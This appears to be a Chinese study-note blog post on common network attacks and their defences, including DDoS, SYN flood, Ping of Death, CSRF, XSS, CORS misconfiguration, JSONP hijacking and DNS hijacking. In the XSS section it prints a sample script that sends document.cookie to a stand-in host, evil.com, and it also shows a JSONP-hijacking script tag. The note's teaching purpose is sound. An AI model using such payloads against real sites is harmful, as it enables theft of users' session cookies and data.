常见网络攻击

DDoS攻击,CC攻击

CC攻击

DDoS的一种

发送大量的合法请求消耗应用层的资源(CPU,内存,数据等),耗尽资源,比如在教务网站中写死循环脚本持续访问某个资源,无技术难度

防御: 对同IP限流,验证码,行为分析

DDoS

全名分布式拒绝攻击,攻击者控制大量僵尸设备(被植入病毒的电脑,服务器等)在同一时间向一个目标发送海量请求导致目标网络拥堵,系统资源耗尽无法为正常用户提供服务,DDoS可以发生在应用层,运输层,网络层,常用方式是UDP洪水,SYN洪水,PoD

核心特点:

  1. 分布式: 攻击者流量往往来自不同地方,无法通过封锁单一IP或小范围IP防护
  2. 消耗资源: 耗尽目标带宽,CPU,内存或连接数
  3. 难以追踪: 攻击源头是大量被劫持的僵尸设备,难以追溯真正攻击者

常见攻击类型:

  1. 流量型攻击: 用海量数据包塞满带宽,如UDP(运输层协议)洪水,ICMP(网络层协议)洪水

  2. 协议型攻击: 利用协议漏洞消耗服务器资源,如SYN洪水,Ping of Death

    SYN洪水: 即三次握手只进行第一次,在服务器响应之后不回应,早期是收到第一个SYN包之后就会把这个请求塞进队列,然后等待之后的握手,但是由于一直没有进行后面的握手导致队列被塞满,新的请求被丢弃,现在在启用SYNCookie的情况下都是第二次握手服务器发送序列号,第三次获取到正确的返回序列号之后才进队列

    Ping of Death: 旧式操作系统缓冲区大概65kb,这时候应用层构造70kb的ICMP数据,直接传给网络层(不经过运输层 ),注意通过原始套接字应用可以直接构造TCP包/IP包/ICMP包 ,网络层ICMP协议把他包装成ICMP包,IP协议加IP头并分片(每片小于1500B)发给数据链路层加Mac头尾,然后发给物理层,之后开始解包过程,先去Mac头尾和IP头尾还原分片,然后网络层将各个分片拼起来,注意,这里就是问题所在,由于分片是一个一个缓存的,即假如是60kg的包分60个1kg的,缓冲区是65kg,那么会在第一个1kg发过来的时候存进缓冲区,第二个发过来存进缓冲区...都收到后把60个1kg拼接成60kg的,但是如果是70kg,那当第66个包过来的时候他就缓冲区溢出了操作系统崩溃了,现在都是在第66个包到来之前先检查这个包如果加进来是否溢出,如果会溢出就丢弃这个包和所有同一组的包

  3. 应用层攻击: 模拟正常的HTTP请求,让Web服务器疲于处理,比如HTTP洪水,Slowloris(慢速发送不完整请求),CC攻击实际上就是应用层攻击的一种

防御:

  1. 增加带宽,但是这样成本高效率低

  2. 部署专业服务,防火墙等

  3. 配置策略: 限制单IP连接数,启动CDN,启动SYNCookie(就是原本是第一次握手的时候分配资源,现在是三次握手完成之后分配)等

    SYN Cookie现在都是默认开启,检测到攻击(即检测到半连接队列被填满)的时候自动激活

跨域攻击

  1. CSRF: 由于同源策略只限制读取,并不限制发送,所以无法约束CSRF,CSRF攻击是利用已登录的网站浏览器发请求的时候会携带Cookie这一特性来进行攻击,主要用于篡改,不用于窃取

    解决方法: 设置Cookie的SameSite属性为Strict可以禁止第三方站点发起请求的时候携带Cookie,但是这样一来点击链接跳转页面的时候也会丢失Cookie,影响用户体验 / SameSite=Lax+CSRF Token,即服务端生成一个随机字符串,用户在提交表单的时候提交这个token,服务端进行校验

  2. XSS: 跨站脚本攻击,注意这个其实本质上不依赖跨域,因为往往就是在目标页面注入的 ,比如在某个网站找到漏洞植入<script> fetch('https://evil.com/steal?cookie='+document.cookie) </script>

    解决方法: 对用户输入进行严格过滤和转义(输出编码),给Cookie设置HttpOnly

  3. CORS配置不当: 比如配置成通配符*或动态反射用户输入的Orign而不加校验,这会导致恶意请求不但能请求还能读取

    此外,配置成null也很危险,about:blank会继承发起的页面的源,但是如果是直接在页面输入about:blank那他的源就是null

    还有iframe当设置了sandbox但是sandbox不包含allow-same-origin的时候源会被设置为null

  4. JSONP劫持: 如果某个接口使用了JSONP回调,例如 https://api.com/user?callback=jsonHandler,攻击者可以在自己的页面构造 <script src="https://api.com/user?callback=stealData">。当用户访问攻击者页面时,用户相当于在攻击者页面的上下文中,以登录态执行了该JSONP接口,返回的数据会流入攻击者定义的 stealData 函数中,导致数据泄露。注意现在已经基本失效,因为Lax下script标签根本不会携带Cookie,除非手动把SameLite设置成None

    解决方法: 不使用JSONP

中间人攻击

即在通信双方中间拦截,使得通信双方的请求和响应都经过自己的读取和处理

ARP欺骗

伪造ARP响应,让目标主机误以为自己的Mac就是网关

DNS劫持

DNS解析是域名=>ip的解析过程,DNS劫持就是在这个解析过程动手脚来让DNS解析指向错误的ip地址,往往是钓鱼网站或病毒下载源

  1. 本地DNS: 篡改你本地电脑或路由器的DNS缓存
  2. 中间人攻击在网络链路上拦截DNS请求并返回虚假的DNS响应,往往在公共WIFI网络中风险较高
  3. DNS服务器劫持,攻击DNS服务器
  4. 域注册商劫持:篡改域注册商的记录

检查:

  1. 如果网站支持HTTPS,会提示证书错误
  2. dig 域名来检查对比已知的正确IP是否一致
  3. 临时把DNS更换为公共DNS(如8.8.8.8或1.1.1.1),如果问题消失是本地运营商DNS被劫持

防范:

  1. 使用加密DNS
  2. 修改路由器默认密码来加固路由器
  3. 优先访问HTTPS
  4. 使用信誉良好的公共DNS
伪造WIFI热点

架设一个跟合法WIFI同名的热点

XSS攻击

即跨站脚本攻击,用户在你的网站中插入恶意代码,让其他的浏览器执行这些代码

  1. 反射型XSS(非持久化)(前端发带恶意参数请求,服务器端反射回来的恶意参数): 制造一个带有恶意代码的链接给用户,比如淘宝链接,参数为恶意代码,比如就会对这些用户进行攻击

  2. DOM型XSS(前端JS自己写入DOM的): 一些危险的直接写入用户未处理内容的代码可能会把用户故意写的dom写进去, 比如:

    **document.write()**动态写入内容,如果要写入的内容包含用户的输入,就可能被用户直接输入dom让js解析;

    innerHTML,同前一个;

    outerHTML,获取或替换html(包括自己),同前一个

    location.hash,这个比较特殊,url的结构是url主体?参数#片段标识符,location.search是获取参数,这个会发送到服务器,这个属于反射型XSS,而location.hash是获取片段标识符,这个东西只在前端用,不会发送到服务器,这个是DOM型XSS

现代框架vue/react等默认防XSS,因为里面是自动转义的

相关推荐
zmj3203242 小时前
CAN数据帧详解
网络·can·canfd·数据帧
无心水2 小时前
OpenClaw技术文档/代码评审/测试用例生成深度实战
网络·后端·架构·测试用例·openclaw·养龙虾
深蓝海拓2 小时前
基于QtPy (PySide6) 的PLC-HMI工程项目(十)框架初成的阶段总结
网络·笔记·python·学习·ui·plc
白羊by3 小时前
Softmax 激活函数详解:从数学原理到应用场景
网络·人工智能·深度学习·算法·损失函数
VBsemi-专注于MOSFET研发定制3 小时前
高端牧光互补储能电站功率链路设计实战:效率、可靠性与系统集成的平衡之道
网络·人工智能
大方子4 小时前
【好靶场】ETag权限混淆漏洞
网络安全·好靶场
深念Y4 小时前
赛米尼M02/海纳斯HiNAS系统-WiFi驱动安装教程
运维·服务器·网络·docker·nas·机顶盒·hinas
Gofarlic_OMS4 小时前
应对MathWorks合规审查的专项准备工作
大数据·服务器·网络·数据库·人工智能
云空4 小时前
《Hermes Agent 部署与使用中的安全漏洞分析及解决办法》
网络·人工智能·安全